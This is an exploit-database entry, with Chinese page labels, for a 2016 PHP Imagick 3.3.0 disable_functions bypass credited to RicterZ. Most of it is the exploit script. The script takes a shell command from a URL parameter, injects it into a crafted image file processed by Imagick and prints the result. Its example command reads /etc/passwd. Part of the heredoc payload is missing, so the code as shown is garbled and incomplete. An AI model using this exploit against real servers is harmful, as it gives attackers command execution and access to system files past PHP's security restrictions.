跳到正文
漏洞条目

Imagick 3.3.0 (PHP 5.4) – disable_functions Bypass

Exploit Source
# Exploit Title: PHP Imagick disable_functions Bypass # Date: 2016-05-04 # Exploit Author: RicterZ (ricter@chaitin.com) # Vendor Homepage: https://pecl.php.net/package/imagick # Version: Imagick <= 3.3.0 PHP >= 5.4 # Test on: Ubuntu 12.04 # Exploit: # # $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd" # echo "Disable functions: " . ini_get("disable_functions") . "\n"; $command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id'; echo "Run command: $command\n====================\n"; $data_file = tempnam('/tmp', 'img'); $imagick_file = tempnam('/tmp', 'img'); $exploit = <<$data_file")' pop graphic-context EOF; file_put_contents("$imagick_file", $exploit); $thumb = new Imagick(); $thumb->readImage("$imagick_file"); $thumb->writeImage(tempnam('/tmp', 'img')); $thumb->clear(); $thumb->destroy(); echo file_get_contents($data_file); ?>
作者
RicterZ
日期
2016-05-04
类别
webapps
平台
php